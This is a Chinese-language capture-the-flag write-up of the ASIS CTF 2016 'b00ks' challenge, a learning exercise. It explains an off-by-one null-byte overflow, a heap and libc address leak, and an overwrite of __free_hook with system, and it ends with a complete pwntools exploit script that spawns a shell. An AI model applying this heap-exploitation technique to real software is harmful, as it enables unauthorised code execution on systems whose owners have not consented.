ASIS CTF 2016:b00ks
最近在练习pwn题,主要看的是ctf竞赛权威指南这本书,感觉这个题太巧妙了,记录一下
首先拿到文件第一步查看检查:
然后拿到IDA里面看:
在sub_b6d()函数中使用了一个自己写的read函数(这个函数存在一个off-by-one漏洞)
并且可以看到这里name存在off_202018
分析知道0ff_202010存的是book结构体
二者相差20个偏移
打印就是规中规矩的了,然后看修改作者姓名的,发现仍然是sub_b6d函数,但是在修改的时候就只能溢出一个’\x00‘了,这个一般可以用来修改堆首,修改大小之类的,,但是本次的不涉及
分析完发现就只有一个字节的溢出,还有一些打印,修改,仔细一想不就是通过打印函数来泄露一些东西吗,修改是为了更好的泄露,
那大概的思路就有了,第一次通过打印泄露出堆地址,然后在泄露libc地址,最后修改mallco_hook或者free_hook获取shell
那具体怎么操作呢?又如何泄露libc?我们晓得通过mmap分配的堆块与libc存在固定偏移关系,所以可以通过分配一个超过128k的堆块(0x20000)来打印堆地址泄露libc
1. 首先第一步创建两个book,其中第二个book通过mmap分配
2. 通过print打印出两个堆的地址
3. edit第一个堆块的description来伪造一个fake book且让这个fake book指向book2
4. 通过修改author name来溢出一个空字节,使book1使其指向一个fake book
5. 再次打印可以得到堆的name ptr得到libc偏移地址
6. 然后修改fake book使其des指向free_hook,并再次修改book2将free_hook指向one_gadget
7. 然后删除book2即可获取到shell
第一步:
p.sendlineafter("name: ","A"*0x20)#author_name
create(0xd0,"AAAA",0x20,"bbbb")#book1
create(0x21000,"/bin/sh",0x21000,"dddd")#book2
print_book()
p.recvuntil("A"*0x20)
book1_addr = u64(p.recvn(6).ljust(8,'\x00'))
print("book1_addr:",hex(book1_addr))
book2_addr = book1_addr + 0x30;
print("book2_addr:",hex(book2_addr))
拿到堆的地址了,第二步构建fake book
fake_book = p64(1) + p64(book2_addr + 0x8) +p64(book2_addr + 0x10) +p64(0x20)
edit(1,fake_book)
然后开始溢出,使其指向fake book打印出book的name ptr地址
得到偏移为0x5b0010
然后开始修改使book2的des->free_hook
edit(1, p64(free_hook))
在修改book2使其free->指向system
edit(2, p64(system_addr))
然后修改book的des->bin/sh
最后将book2 free掉就行了
拿到shell
最后附上瞎胡画得图还有代码
from pwn import *
p = process('./b00ks')
#p =remote("node4.buuoj.cn",28734)
context.log_level="debug"
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./b00ks')
def create(size,name,dsize,desc):
p.sendlineafter("> ","1")
p.recvuntil("Enter book name size: ")
p.sendline(str(size))
p.recvuntil("Enter book name (Max 32 chars): ")
p.sendline(str(name))
p.recvuntil("Enter book description size: ")
p.sendline(str(dsize))
p.recvuntil("Enter book description: ")
p.sendline(desc)
def delete(idx):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Enter the book id you want to delete: ")
p.sendline(str(idx))
def edit(idx,des):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("Enter the book id you want to edit: ")
p.sendline(str(idx))
p.sendlineafter("description: ",des)
def print_book():
p.recvuntil("> ")
p.sendline("4")
def change(name):
p.sendlineafter("> ",'5')
p.sendlineafter("name: ",name)
p.sendlineafter("name: ","A"*0x20)#author_name name he book xiangcha 0x20
create(0xd0,"AAAA",0x20,"bbbb")#book1
create(0x21000,"/bin/sh",0x21000,"dddd")#book2
print_book()
p.recvuntil("A"*0x20)
book1_addr = u64(p.recvn(6).ljust(8,'\x00'))
print("book1_addr:",hex(book1_addr))#0x55deae296130
book2_addr = book1_addr + 0x30;
print("book2_addr:",hex(book2_addr))#0x55deae296160
fake_book = p64(1) + p64(book2_addr + 0x8) +p64(book2_addr + 0x10) +p64(0x20)
edit(1,fake_book)
change("B"*0x20)
print_book()
p.recvuntil("Name: ")
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
print("leak_addr",hex(leak_addr)) #0x00007fcc19363010
libc_base = leak_addr - 0x5b0010
print("libc_base",hex(libc_base))
elf_base = libc_base + libc.sym['free'] - elf.plt['free']
system_addr = libc.sym['system'] + libc_base
sh_addr = libc.search('/bin/sh').next() + libc_base
free_hook = libc.sym['__free_hook'] + libc_base
print("system_addr",hex(system_addr))
print("sh_addr",hex(sh_addr))
print("free_hook",hex(free_hook))
edit(1, p64(free_hook))
edit(2, p64(system_addr))
edit(1, p64(sh_addr))
gdb.attach(p)
delete(2)
p.interactive()